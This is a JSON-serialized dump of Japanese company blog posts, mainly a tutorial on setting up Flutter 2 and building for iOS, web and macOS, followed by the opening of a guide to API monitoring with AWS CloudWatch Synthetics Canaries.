っと頑張りましょう！",{"title":64,"searchDepth":65,"depth":65,"links":9176},[],"2021-02-09","いよいよ2020年第4四半期の優秀社員賞が到来しました。この四半期で一生懸命に働いたスタッフの会社への貢献を称えさせて頂きます。では、2020年第4四半期の優秀社員賞を受賞した方はどなたでしょうか。受賞者を探しましょう！",{},"\u002Fja\u002Fnews\u002Fexcellent-staff-4-2020",{"title":9120,"description":9178},"ja\u002Fnews\u002Fexcellent-staff-4-2020","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142352\u002FCover-1.png","LFvJV4rMZC6am6a03HBddwlXQJ1tGT1r9VndK1EAY_M",{"id":9186,"title":9187,"body":9188,"category":9738,"created by":68,"date":9739,"description":9740,"extension":71,"meta":9741,"navigation":73,"path":9742,"sections":75,"seo":9743,"stem":9744,"thumbnail":9745,"__hash__":9746},"content_ja\u002Fja\u002Fnews\u002Fflutter2.md","Flutter 2紹介",{"type":8,"value":9189,"toc":9727},[9190,9199,9241,9254,9257,9261,9264,9271,9277,9280,9286,9291,9297,9300,9306,9309,9315,9318,9324,9328,9339,9345,9352,9358,9362,9372,9376,9379,9383,9387,9393,9400,9404,9411,9415,9424,9428,9431,9435,9438,9444,9449,9454,9471,9478,9484,9493,9497,9500,9508,9514,9521,9527,9534,9540,9543,9549,9552,9559,9563,9566,9570,9574,9580,9587,9591,9635,9639,9653,9658,9677,9679,9682,9685,9687],[11,9191,9192,9198],{},[57,9193,9197],{"href":9194,"rel":9195,"title":9196},"https:\u002F\u002Fdevelopers.googleblog.com\u002F2021\u002F03\u002Fannouncing-flutter-2.html",[61],"Flutter2","Flutter 2","は2021年3月4日に本格的に公開されました。今回追加された新しい機能を以下に示します。",[31,9200,9201,9204,9212,9225,9238],{},[34,9202,9203],{},"ベータ版に入っているWeb、デスクトップアプリケーションのサポートは今回の安定版で本格的になります。これで、正式にWeb、MacOS、WindowsOSでアプリケーションを実行することができます。",[34,9205,9206,9211],{},[57,9207,9210],{"href":9208,"rel":9209},"https:\u002F\u002Fproxify.io\u002Farticles\u002Fflutter-2-null-safety",[61],"Sound Null Safety","機能。全てのライブラリーはこの機能を導入しているわけではないため、現行プロジェクトのFlutterのバージョンを上げる前に考慮してください。",[34,9213,9214,7294,9219,9224],{},[57,9215,9218],{"href":9216,"rel":9217},"https:\u002F\u002Fapi.flutter.dev\u002Fflutter\u002Fmaterial\u002FAutocomplete-class.html",[61],"Autocomplete",[57,9220,9223],{"href":9221,"rel":9222},"https:\u002F\u002Fapi.flutter.dev\u002Fflutter\u002Fmaterial\u002FScaffoldMessenger-class.html",[61],"ScaffoldMessenger","の新しいウィジェット。",[34,9226,9227,7294,9232,9237],{},[57,9228,9231],{"href":9229,"rel":9230},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Ftools\u002Fvs-code",[61],"Visual Studio Code",[57,9233,9236],{"href":9234,"rel":9235},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Ftools\u002Fandroid-studio",[61],"Android Studio","のコードエディタ拡張の更新。",[34,9239,9240],{},"Ecosystem、DevToolの更新、Flutter Fix追加および不具合解消。",[11,9242,9243,9244,9248,9249,9253],{},"Flutter 2に関しては",[57,9245,9247],{"href":9194,"rel":9246},[61],"Announcing Flutter 2","を参照してください。確認し試してみたいと思ったら、",[57,9250,1231],{"href":9251,"rel":9252},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fget-started\u002Finstall",[61],"からダウンロードしてインストールしてください。",[11,9255,9256],{},"以下に、Flutter 2を使ったプロジェクト構成およびマルチプラットフォーム（iOS、Web、Mac）での実行の方法についてお話しします。読み続けましょう！",[495,9258,9260],{"id":9259},"flutter-2の構成","Flutter 2の構成",[11,9262,9263],{},"現行プロジェクトがFlutter 1を使っているが、Flutter 2へバージョンアップしたくない場合、以下のようにFlutterのパスを予め構成しなければなりません。それ以外の場合、この手順を飛ばしてください。",[11,9265,9266,9267,9270],{},"ダウンロードしたFlutter 2フォルダーを解凍してから、",[20,9268,9269],{},"ターミナル","アプリケーションを開いて以下のコマンドを入力します。",[696,9272,9275],{"className":9273,"code":9274,"language":701},[699],"nano ~\u002F.bash_profile\n",[703,9276,9274],{"__ignoreMap":64},[11,9278,9279],{},"Flutterフォルダーへのパスの別名を_.bash_profile_ファイルに追加しておきます。",[696,9281,9284],{"className":9282,"code":9283,"language":701},[699],"alias flutter2=\u002Fパス\u002Fflutter2\u002Fbin\u002Fflutter\n",[703,9285,9283],{"__ignoreMap":64},[11,9287,9288],{},[2645,9289,9290],{},".bash_profileファイルをリロードします。",[696,9292,9295],{"className":9293,"code":9294,"language":701},[699],"source ~\u002F.bash_profile\n",[703,9296,9294],{"__ignoreMap":64},[11,9298,9299],{},"ここで、_flutter2_コマンドを実行したら、Flutter 2でしか機能していません。ただし、念のため実行前に、以下のコマンドでバージョンがFlutter 2であることを確認してください。",[696,9301,9304],{"className":9302,"code":9303,"language":701},[699],"flutter2 --version\n",[703,9305,9303],{"__ignoreMap":64},[11,9307,9308],{},"上記のコマンドを実行した結果は以下のようになります",[696,9310,9313],{"className":9311,"code":9312,"language":701},[699],"Flutter 2.0.1 • channel stable • https:\u002F\u002Fgithub.com\u002Fflutter\u002Fflutter.git\nFramework • revision c5a4b4029c (2 weeks ago) • 2021-03-04 09:47:48 -0800\nEngine • revision 40441def69\nTools • Dart 2.12.0\n",[703,9314,9312],{"__ignoreMap":64},[11,9316,9317],{},"必要に応じてバージョンアップを行います。",[696,9319,9322],{"className":9320,"code":9321,"language":701},[699],"flutter2 upgrade\n",[703,9323,9321],{"__ignoreMap":64},[495,9325,9327],{"id":9326},"プロジェクト新規作成およびvscodeを使った構成","プロジェクト新規作成およびVSCodeを使った構成",[11,9329,9330,9334,9335,9338],{},[20,9331,9332],{},[2645,9333,9269],{},"アプリケーションを開いて、以下のコマンドを用いることで新たに「",[20,9336,9337],{},"sample_flutter2","」というプロジェクトを作成します。",[696,9340,9343],{"className":9341,"code":9342,"language":701},[699],"flutter2 create sample_flutter2\n",[703,9344,9342],{"__ignoreMap":64},[11,9346,9347,9348,9351],{},"VSCode（Visual Studio Code）でこのプロジェクトを開いて、",[2645,9349,9350],{},"settings.json_ファイルを",".vs_code\u002F_フォルダーに作成して以下のコードをそこにコピー＆ペーストすることによって Flutterフォルダーへのパスを作成します。",[696,9353,9356],{"className":9354,"code":9355,"language":701},[699],"{\n\"dart.flutterSdkPath\": \"パス\u002Fflutter2\"\n}\n",[703,9357,9355],{"__ignoreMap":64},[495,9359,9361],{"id":9360},"osでの実行","OSでの実行",[11,9363,9364,9367,9368,9371],{},[20,9365,9366],{},"VSCode","にてiPhoneを実行端末として選択します。ここで ",[20,9369,9370],{},"iPhone12 Pro Max","のシミュレーターを選択します。",[530,9373],{"className":9374,"alt":64,"src":9375,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29104853\u002Fselect_iphone.png",[11,9377,9378],{},"実行します。かなり簡単ですよね。",[530,9380],{"className":9381,"alt":64,"src":9382,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29104929\u002Frun_in_iphone.png",[1750,9384,9386],{"id":9385},"ipaへのビルド",".ipaへのビルド",[696,9388,9391],{"className":9389,"code":9390,"language":701},[699],"flutter2 build ipa --profile\n",[703,9392,9390],{"__ignoreMap":64},[11,9394,9395,9396,9399],{},"上記のコマンドでは",[20,9397,9398],{},"Runner.xcarchive","がbuild\u002Fios\u002Farchiveフォルダーに生成されるので、そこへ辿ってそのファイルをクリックすると、Xcodeが自動的に開いて、普通なiOSアプリケーションのように.ipaファイルをビルドすることができます。",[530,9401],{"className":9402,"alt":64,"src":9403,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29131227\u002FScreen-Shot-2021-03-29-at-13.12.14-1024x199.png",[11,9405,9406,9407,9410],{},"なお、 ",[2645,9408,9409],{},"--profile_フラグの他に、リリースモードに使われる","--release_フラグを選択できます。Flutterには、デバッグ、プロフィール、リリースreleaseという三つのビルドモードがあります。",[495,9412,9414],{"id":9413},"webでの実行","Webでの実行",[11,9416,9417,9419,9420,9423],{},[20,9418,9366],{},"にて",[20,9421,9422],{},"Chrome","を実行端末として選択します。",[530,9425],{"className":9426,"alt":64,"src":9427,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29105750\u002Fselect_device.png",[11,9429,9430],{},"レイアウトや情報がiOS版のように表示されます。",[530,9432],{"className":9433,"alt":64,"src":9434,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29124734\u002Fchrome_result-1024x960.png",[1750,9436,9437],{"id":9437},"htmlへのビルド",[696,9439,9442],{"className":9440,"code":9441,"language":701},[699],"flutter2 build web --web-renderer html --profile\n",[703,9443,9441],{"__ignoreMap":64},[11,9445,9446],{},[2645,9447,9448],{},"--profile：ビルドモード（プロフィールまたはリリース）",[11,9450,9451],{},[2645,9452,9453],{},"--web-renderer html：レンダリングモードであり、以下のような三つのオプションがあります。",[31,9455,9456,9461,9466],{},[34,9457,9458],{},[2645,9459,9460],{},"auto：アプリケーションがモバイルのブラウザで動作する時にHTMLレンダリングモードを、PCのブラウザで動作する時にCanvasKitレンダリングモードを使います。",[34,9462,9463],{},[2645,9464,9465],{},"html：常にHTMLレンダリングモードを使います。",[34,9467,9468],{},[2645,9469,9470],{},"canvaskit：常にCanvasKitレンダリングモードを使います。",[11,9472,9473,9474,9477],{},"上記のコマンドでは、.html、.css、.jsの各ファイルが_\u002Fbuild\u002Fweb\u002F",[2645,9475,9476],{},"フォルダーに生成されます。若し","\u002Fbuild\u002Fweb\u002Findex.html_を直接実行したら、以下のようなエラーが起こりえます。",[696,9479,9482],{"className":9480,"code":9481,"language":701},[699],"Access to internal resource at 'file:\u002F\u002F\u002Fmanifest.json' from origin 'null' has been blocked by CORS policy: \nCross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, chrome-untrusted, https.\n",[703,9483,9481],{"__ignoreMap":64},[11,9485,9486,9487,9492],{},"上記のエラーを避けるため、",[57,9488,9491],{"href":9489,"rel":9490},"https:\u002F\u002Fchrome.google.com\u002Fwebstore\u002Fdetail\u002Fweb-server-for-chrome\u002Fofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en)",[61],"Web Server for Chrome","というChromeの拡張を用いて、_.\u002Fbuild\u002Fweb\u002F_フォルダーにロカールサーバーをシミュレートしてから_index.html_を再び実行します。",[495,9494,9496],{"id":9495},"macosでの実行","MacOSでの実行",[11,9498,9499],{},"前もってOSの開発モードを有効化しておく必要があります。",[31,9501,9502],{},[34,9503,9504,9507],{},[20,9505,9506],{},"Mac","OSの場合、以下のコマンドを使います。",[696,9509,9512],{"className":9510,"code":9511,"language":701},[699],"flutter2 config --enable-macos-desktop\n",[703,9513,9511],{"__ignoreMap":64},[31,9515,9516],{},[34,9517,9518,9507],{},[20,9519,9520],{},"Windows",[696,9522,9525],{"className":9523,"code":9524,"language":701},[699],"flutter2 config --enable-windows-desktop\n",[703,9526,9524],{"__ignoreMap":64},[31,9528,9529],{},[34,9530,9531,9507],{},[20,9532,9533],{},"Linux",[696,9535,9538],{"className":9536,"code":9537,"language":701},[699],"flutter2 config --enable-linux-desktop\n",[703,9539,9537],{"__ignoreMap":64},[11,9541,9542],{},"そして、以下のコマンドでデスクトップサポートを既存プロジェクトに追加します。",[696,9544,9547],{"className":9545,"code":9546,"language":701},[699],"flutter2 create --platforms=windows,macos,linux .\n",[703,9548,9546],{"__ignoreMap":64},[11,9550,9551],{},"プラットフォーム（windows、macos、linux）は任意に選択できます。",[11,9553,9554,9419,9556,9423],{},[20,9555,9366],{},[20,9557,9558],{},"macOS",[530,9560],{"className":9561,"alt":64,"src":9562,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29140531\u002Fselect_desktop.png",[11,9564,9565],{},"実行します。",[530,9567],{"className":9568,"alt":64,"src":9569,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29140649\u002Fdesktop_version-1024x738.png",[1750,9571,9573],{"id":9572},"appへのビルド",".appへのビルド",[696,9575,9578],{"className":9576,"code":9577,"language":701},[699],"flutter2 build macos --profile\n",[703,9579,9577],{"__ignoreMap":64},[11,9581,9582,9583,9586],{},"上記のコマンドでは、",[2645,9584,9585],{},"sample_flutter2.app_ファイルが","\u002Fbuild\u002Fmacos\u002FBuild\u002FProducts\u002FProfile_フォルダーに、プロフィールモードで生成されます。必要に応じて_--release_フラグをも選択できます。",[495,9588,9590],{"id":9589},"flutterのメリット","Flutterのメリット",[31,9592,9593,9596,9599,9608,9614,9617,9620],{},[34,9594,9595],{},"Flutterの一番の特徴としてはマルチプラットフォームのサポートであり、スタートアップ企業に不可欠な選択だと言われています。iOSとAndroidのプラットフォームのいずれかで開発したソースコードを流用してWeb版を製作することができます。これで、新規開発より工数が削減できます。",[34,9597,9598],{},"アプリケーションのUIと処理ロジックはどのプラットフォームにも変わりません。",[34,9600,9601,9602,9607],{},"Flutterは今急速に成長しており、",[57,9603,9606],{"href":9604,"rel":9605},"https:\u002F\u002Fpub.dev\u002F",[61],"pub.dev"," にある第三者のライブラリーをサポートしてくれます。",[34,9609,9610,9613],{},[20,9611,9612],{},"Hot reload","機能はVSCodeとAndroid Studioにて非常に使いやすいし、Swift、Kotlinといった他の言語に比べ、デバッグに費やす工数が節約できます。これで開発工数も削減できます。",[34,9615,9616],{},"Flutterは多くのカスタマイズ可能なウィジェットを提供してくれ、レイアウトの実装工数も削減できます。",[34,9618,9619],{},"Dartは習得しやすいプログラミング言語であり、プログラミング知識の浅い初心者でもプロトタイプ版やアプリケーションを開発できます。",[34,9621,9622,9623,9628,9629,9634],{},"Flutterのドキュメントは高く評価されており、それらには簡単に理解しやすい",[57,9624,9627],{"href":9625,"rel":9626},"https:\u002F\u002Fwww.youtube.com\u002Fplaylist?list=PLOU2XLYxmsIL0pH0zWe_ZOHgGhZ7UasUE",[61],"UIチュートリアル"," から",[57,9630,9633],{"href":9631,"rel":9632},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Fui\u002Flayout\u002Fconstraints",[61],"詳細説明書","に至るまで揃っています。",[495,9636,9638],{"id":9637},"flutterのデメリット","Flutterのデメリット",[31,9640,9641,9644,9647,9650],{},[34,9642,9643],{},"Dartは何といってもKotlin、Swift比で、流行っている言語という訳ではありません。ですので、Flutter利用のため、Dart言語や、BLOC、Widgetsといった新しいコンセプトを習得しなければなりません。",[34,9645,9646],{},"特にAndroidOSをはじめとしてあるプラットフォーム、OSバージョン、端末機種が原因で起こる問題や不具合を解決するためにSwift、Kotlinのネイティブ言語の基本知識も必要です。",[34,9648,9649],{},"第三者のライブラリーのすべては使用したいプラットフォームをサポートしてくれる訳ではありません。殆ど、 iOSとAndroidのいずれもサポートしてくれますが、いずれかのものしかサポートしていない場合があります。",[34,9651,9652],{},"開発途中でレイアウトエラーや子クラスに起こるエラーが原因で以下のような赤いエラー画面が出ると困惑します。",[530,9654],{"className":9655,"alt":64,"src":9656,"style":9657},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29142020\u002Ferror.png","width: 20%;",[31,9659,9660,9669],{},[34,9661,9662,9663,9668],{},"アニメーション効果に関わる問題(",[57,9664,9667],{"href":9665,"rel":9666},"https:\u002F\u002Fgithub.com\u002Fflutter\u002Fflutter\u002Fissues\u002F61450",[61],"例",")があるようなので、複雑なアニメーション効果を使ったアプリケーション開発にあたり考慮しなければなりません。",[34,9670,9671,9672,1821],{},"Flutterは基本的にモバイルアプリケーション開発向けのフレームワークのようなので、Webプラットフォームやデスクトッププラットフォームによって、UIとUXが多少異なります。そのため、各プラットフォームのUI、UX、処理ロジックは同一ソースコードで共存することができません。しかし、その対応策としては、単一または複数のパッケージのためのウィジェットや処理ロジックを共通化した後、プラットフォーム毎に別々のプログラムを作成して、それらのパッケージを第三者のライブラリーのように使いさえすればいいです。 これは一番良い対応策ではありませんが、少なくとも各プラットフォームの共通化ができます。(",[57,9673,9676],{"href":9674,"rel":9675},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Fpackages-and-plugins\u002Fdeveloping-packages",[61],"パッケージ作成について",[495,9678,4767],{"id":4767},[11,9680,9681],{},"Flutterはデメリットを除き、営業や開発チームにとって多くの利点があります。特にiOSとAndroidの両方に対応したモバイルアプリケーションをはじめとして、お客様のあらゆる要望に応える見た目が良いかつ高効率なアプリケーションを開発することに際して外せない選択肢になります。",[11,9683,9684],{},"Flutter 2は正式に公開されました。是非体験しましょう。そのことを後悔することは無いはずです。",[495,9686,5465],{"id":5465},[31,9688,9689,9694,9699,9705,9711,9717,9722],{},[34,9690,9691],{},[57,9692,9208],{"href":9208,"rel":9693},[61],[34,9695,9696],{},[57,9697,9194],{"href":9194,"rel":9698},[61],[34,9700,9701],{},[57,9702,9703],{"href":9703,"rel":9704},"https:\u002F\u002Fmedium.com\u002Fcoding-with-flutter\u002Fwhats-great-about-flutter-c1b4e44c69ac",[61],[34,9706,9707],{},[57,9708,9709],{"href":9709,"rel":9710},"https:\u002F\u002Fwww.thedroidsonroids.com\u002Fblog\u002Fflutter-in-mobile-app-development-pros-and-cons-for-app-owners",[61],[34,9712,9713],{},[57,9714,9715],{"href":9715,"rel":9716},"https:\u002F\u002Fflutter.dev",[61],[34,9718,9719],{},[57,9720,9604],{"href":9604,"rel":9721},[61],[34,9723,9724],{},[57,9725,9625],{"href":9625,"rel":9726},[61],{"title":64,"searchDepth":65,"depth":65,"links":9728},[9729,9730,9731,9732,9733,9734,9735,9736,9737],{"id":9259,"depth":65,"text":9260},{"id":9326,"depth":65,"text":9327},{"id":9360,"depth":65,"text":9361},{"id":9413,"depth":65,"text":9414},{"id":9495,"depth":65,"text":9496},{"id":9589,"depth":65,"text":9590},{"id":9637,"depth":65,"text":9638},{"id":4767,"depth":65,"text":4767},{"id":5465,"depth":65,"text":5465},[1388,1387],"2021-04-22","Flutter 2 は2021年3月4日に本格的に公開されました。今回追加された新しい機能を以下に示します。ベータ版に入っているWeb、デスクトップアプリケーションのサポートは今回の安定版で本格的になります。これで、正式にWeb、MacOS、WindowsOSでアプリケーションを実行することができます。",{},"\u002Fja\u002Fnews\u002Fflutter2",{"title":9187,"description":9740},"ja\u002Fnews\u002Fflutter2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F06103446\u002Fflutter2.png","qXdJCp9MPIDOeF892YyJJiEj8nnlXXzR6EzdXpFyMPE",{"id":9748,"title":9749,"body":9750,"category":1388,"created by":68,"date":10236,"description":10237,"extension":71,"meta":10238,"navigation":73,"path":10239,"sections":75,"seo":10240,"stem":10241,"thumbnail":10242,"__hash__":10243},"content_ja\u002Fja\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries.md","AMAZON CLOUDWATCH SYNTHETICS CANARIESを使ったAPIのモニタリング",{"type":8,"value":9751,"toc":10225},[9752,9757,9763,9766,9769,9773,9776,9779,9782,9786,9797,9810,9814,9819,9823,9826,9833,9840,9847,9850,9855,9863,9867,9872,9875,9880,9883,9888,9891,9911,9916,9919,9924,9927,9932,9935,9940,9946,9950,9956,9960,9970,9974,9984,9988,9997,10001,10012,10015,10024,10028,10037,10041,10050,10054,10064,10068,10074,10078,10082,10091,10101,10105,10110,10114,10121,10125,10130,10134,10138,10141,10145,10151,10155,10162,10166,10172,10179,10183,10189,10195,10201,10205,10208,10212,10219],[495,9753,9755],{"id":9754},"はじめに",[20,9756,9754],{},[660,9758,9760],{"id":9759},"aws-cloudwatch",[20,9761,9762],{},"AWS CloudWatch",[11,9764,9765],{},"AWSで実行されるリソースの監視、統計、分析をサポートするサービスです。このサービスは、リアルタイムの実用的な情報を提供して、 RAM、ディスクなどのサービス、インフラストラクチャー、アプリケーションのメモリ領域を監視させます。警告を使用して、アプリケーションのパフォーマンスを最適化して、リソースの使用を管理してします。",[11,9767,9768],{},"また、Amazon のインフラストラクチャーに実行しているアプリケーションなどのAWS リソースやシステム全体の状況が理解できるようになります。",[660,9770,9772],{"id":9771},"aws-canary","AWS Canary",[11,9774,9775],{},"APIとエンドポイントを監視するためにAmazon CloudWatch Syntheticから作りました。Canariesは、ルートに沿って実装できるスクリプトであり、クライアントのように稼働を行います。そのため、アプリケーションへのユーザートラフィックがなくても、エンドユーザーの体験を連続的に検出できます。Canaiesを使うことでエンドユーザーよりも早く問題が検出できます。Canariesは、指定されたスケジュールに従って実行するように設定できます。",[11,9777,9778],{},"Canariesは、Node.jsまたはPythonで書き込まれるスクリプトです。また、HTTPとHTTPSのプロトコルでも稼働できます。",[11,9780,9781],{},"Canariesは、エンドポイントの可用性とレイテンシーをチェックして、同時に読み込み時間のデータと UI のスクリーンショットが保存できます。REST API、URL、ウェブサイトのコンテンツを監視して、フィッシング詐欺やクロスサイトスクリプティング攻撃やコードの挿入などの不正な変更がチェックできます。",[495,9783,9785],{"id":9784},"canary作成手順","Canary作成手順",[11,9787,9788,602,9791,9796],{},[20,9789,9790],{},"ステップ①：",[57,9792,9795],{"href":9793,"rel":9794},"https:\u002F\u002Fconsole.aws.amazon.com\u002Fcloudwatch\u002F%E3%81%A7CloudWatch",[61],"https:\u002F\u002Fconsole.aws.amazon.com\u002Fcloudwatch\u002FでCloudWatch"," コンソールを開きます。",[11,9798,9799,9802,9803,9806,9807,1997],{},[20,9800,9801],{},"ステップ②："," ナビゲーションペインで、",[20,9804,9805],{},"Application monitoring　→　Synthetics Canaries","を選択した後、",[20,9808,9809],{},"Create Canary",[530,9811],{"className":9812,"alt":64,"src":9813,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21142022\u002Fcreate-canary-1-1.png",[11,9815,9816,197],{},[20,9817,9818],{},"ステップ③：",[530,9820],{"className":9821,"alt":64,"src":9822,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21141000\u002Fcreate-canary-2.png",[11,9824,9825],{},"次のいずれかを選択します。",[11,9827,9828,9829,9832],{},"1. \"",[20,9830,9831],{},"Use a blueprint","\"を選択した場合：既存テンプレートスクリプトを使う",[11,9834,9835,9836,9839],{},"2. \"I",[20,9837,9838],{},"nline Editor","\"を選択した場合：自分のNode.js スクリプトをアップロードして、カスタマイズするCanaryを作成する",[11,9841,9842,9843,9846],{},"3. \"I",[20,9844,9845],{},"mport from S3","\"を選択した場合：S3バケットから自分のスクリプトをインポートする",[11,9848,9849],{},"注意：上記の選択では、使っているS3バケットに対し「s3:GetObject」及び「s3:GetObjectVersion」権限が求められます。",[11,9851,9852],{},[20,9853,9854],{},"この記事では、\"Use a blueprint\"を選択します。",[11,9856,9857,620,9860,9862],{},[20,9858,9859],{},"ステップ④：",[20,9861,9831],{},"\"を選択したら、以下のテンプレートスクリプトが出ます。",[530,9864],{"className":9865,"alt":64,"src":9866,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21143125\u002Fcreate-canary-3.png",[11,9868,9869],{},[20,9870,9871],{},"Heartbeat monitoring",[11,9873,9874],{},"ハートビートスクリプトは、指定したURLをロードし、ページのスクリーンショットとHTTPファイル（HARファイル）を保存します。また、アクセスしたURLのログも保存します。 HARファイルを使用して、ウェブページに関するパフォーマンスデータ詳細を確認できます。 ウェブリクエストのリストを分析して、項目の読み込み時間などのパフォーマンス問題を把握できます。",[11,9876,9877],{},[20,9878,9879],{},"API canary",[11,9881,9882],{},"REST APIの基本的な読み取り機能と書き込み機能が検出できます。 Canaryは任意のAPIで稼働し、すべてのタイプの機能が検出できます。Canary毎に、複数のAPI呼び出しを行うことができます。",[11,9884,9885],{},[20,9886,9887],{},"Broken Link Checker",[11,9889,9890],{},"テストしているURL内にリンクを全て収集します。 次の種類のリンクエラーを検出します",[31,9892,9893,9896,9899,9902,9905,9908],{},[34,9894,9895],{},"404 ページが見つからない、URL が正しくない",[34,9897,9898],{},"ホスト名が無効である",[34,9900,9901],{},"HTTP レスポンスコードが無効である",[34,9903,9904],{},"HTTPリクエストが Canary の実行中に常にタイムアウトする",[34,9906,9907],{},"ホストが正しく設定されていないか、ビジー状態のため接続が常に切断される",[34,9909,9910],{},"ホストサーバーが、コンテンツもなく、レスポンスコードもない、空のレスポンスを返す",[11,9912,9913],{},[20,9914,9915],{},"Canary Recorder",[11,9917,9918],{},"Canaryのレコーダーは、ウェブサイト上のクリックと入力のアクションを記録し、上記と同じステップに従うCanaryを作成するために使用できる Node.js スクリプトを自動的に生成します。CloudWatch Synthetics Recorder は、Amazonが提供するGoogle Chrome 拡張機能です。",[11,9920,9921],{},[20,9922,9923],{},"GUI workflow builder",[11,9925,9926],{},"GUI ワークフロービルダー設計図は、ウェブページに対してアクションが実行できることを検証します。",[11,9928,9929],{},[20,9930,9931],{},"Visual monitoring",[11,9933,9934],{},"ビジュアルモニタリングは、Canary実行中に撮影されたスクリーンショットと、ベースラインCanary実行中に撮影されたスクリーンショットを比較するコードが含まれています。2 つのスクリーンショット間の不一致が閾値のパーセンテージを超えている場合、Canaryは失敗します。",[11,9936,9937],{},[20,9938,9939],{},"この記事では、\"API canary\"を選択します。",[11,9941,9942,9945],{},[20,9943,9944],{},"ステップ⑤："," Canaryの名前を入力します。ここで「Canary-api」と命名します。",[530,9947],{"className":9948,"alt":64,"src":9949,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21150801\u002Fcreate-canary-5-1024x226.png",[11,9951,9952,9955],{},[20,9953,9954],{},"ステップ⑥："," API HTTPリクエスト追加",[530,9957],{"className":9958,"alt":64,"src":9959,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21151619\u002Fcreate-canary-6-1024x485.png",[11,9961,9962,9963,9966,9967,8342],{},"API HTTP リクエスト詳細にはメソッド、エンドポイントURL、リクエストデータ、ヘッダーを含めています。それらの入力が終わったら、",[20,9964,9965],{},"Step name","に名前を入力して、",[20,9968,9969],{},"Save",[530,9971],{"className":9972,"alt":64,"src":9973,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21152636\u002Fcreate-canary-6.5-1024x408.png",[11,9975,9976,9979,9980,9983],{},[20,9977,9978],{},"ステップ⑦："," スクリプトに環境変数を使ったら、",[20,9981,9982],{},"Environment variables","を選択して、スクリプトに確定されている環境変数ごとの値を指定します。",[530,9985],{"className":9986,"alt":64,"src":9987,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21153239\u002Fcreate-canary-7-1024x329.png",[11,9989,9990,602,9993,9996],{},[20,9991,9992],{},"ステップ⑧：",[20,9994,9995],{},"Schedule","でcanary実行頻度を指定することができます。以下のようにオプションが３つあります。",[530,9998],{"className":9999,"alt":64,"src":10000,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21154412\u002Fcreate-canary-8-1024x429.png",[31,10002,10003,10006,10009],{},[34,10004,10005],{},"Run continuously：常に実行",[34,10007,10008],{},"CRON expression：CRONにより実行",[34,10010,10011],{},"Run once：一回実行",[11,10013,10014],{},"次、Canary毎に実行時間を選択します。ここで「常に実行」と「頻度：20分」を選択します。",[11,10016,10017,602,10020,10023],{},[20,10018,10019],{},"ステップ⑨：",[20,10021,10022],{},"Data retention","でCanaryデータを保持する時間を設定できます。デフォルトは31days (~1 month)です。",[530,10025],{"className":10026,"alt":64,"src":10027,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21163353\u002Fcreate-canary-9-1024x306.png",[11,10029,10030,602,10033,10036],{},[20,10031,10032],{},"ステップ⑩：",[20,10034,10035],{},"Data Storage","でCanaryを実行する度の結果を保持する場所です。「S3 location」では、Canaryを作成する際にデフォルト場所がすでに入力されておきます。或いは「Browse 